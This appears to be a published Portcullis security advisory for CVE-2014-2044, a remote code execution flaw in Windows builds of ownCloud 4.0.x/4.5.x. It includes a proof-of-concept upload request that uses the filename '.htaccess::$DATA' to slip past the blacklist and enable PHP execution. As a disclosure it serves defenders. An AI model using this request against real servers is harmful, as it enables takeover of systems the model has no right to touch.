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ownCloud 4.0.x / 4.5.x Remote Code Execution

ownCloud 4.0.x / 4.5.x Remote Code Execution
Posted Mar 6, 2014
Authored by Alejo Murillo Moya | Site portcullis-security.com

ownCloud versions 4.0.x and 4.5.x suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2014-2044
SHA-256 | c65453c7d509deaa48610d2f613f6869f087ed9c465830cd85a1506f6c8ea17c

ownCloud 4.0.x / 4.5.x Remote Code Execution

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Vulnerability title: Remote Code Execution in ownCloud
CVE: CVE-2014-2044
Vendor: ownCloud
Product: ownCloud
Affected version: 4.0.x & 4.5.x
Fixed version: 5.0
Reported by: Alejo Murillo Moya

Details:

A remote code execution has been found and confirmed within ownCloud as
an authenticated user. A successful attack could allow an authenticated
attacker to execute PHP code, which could lead to a full compromise of
the server and associated infrastructure. Please note that only the
Windows versions of ownCloud are affected and that valid credentials are
required.

It is possible to create a custom .htaccess into the user's folder on
Windows version of the application, which will enable PHP execution on
the folder. This vulnerability exists because it is possible to bypass
the internal blacklists using Windows ADS (Alternate Data Streams).

Proof Of Concept:

POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
[...]
Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411
Requesttoken: None

-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="MAX_FILE_SIZE"

536870912
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="requesttoken"

None
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="dir"

/
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA"
Content-Type: text/plain

<PUT YOUR TEXT HERE>
-----------------------------21191376031994875607185408411--




Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.


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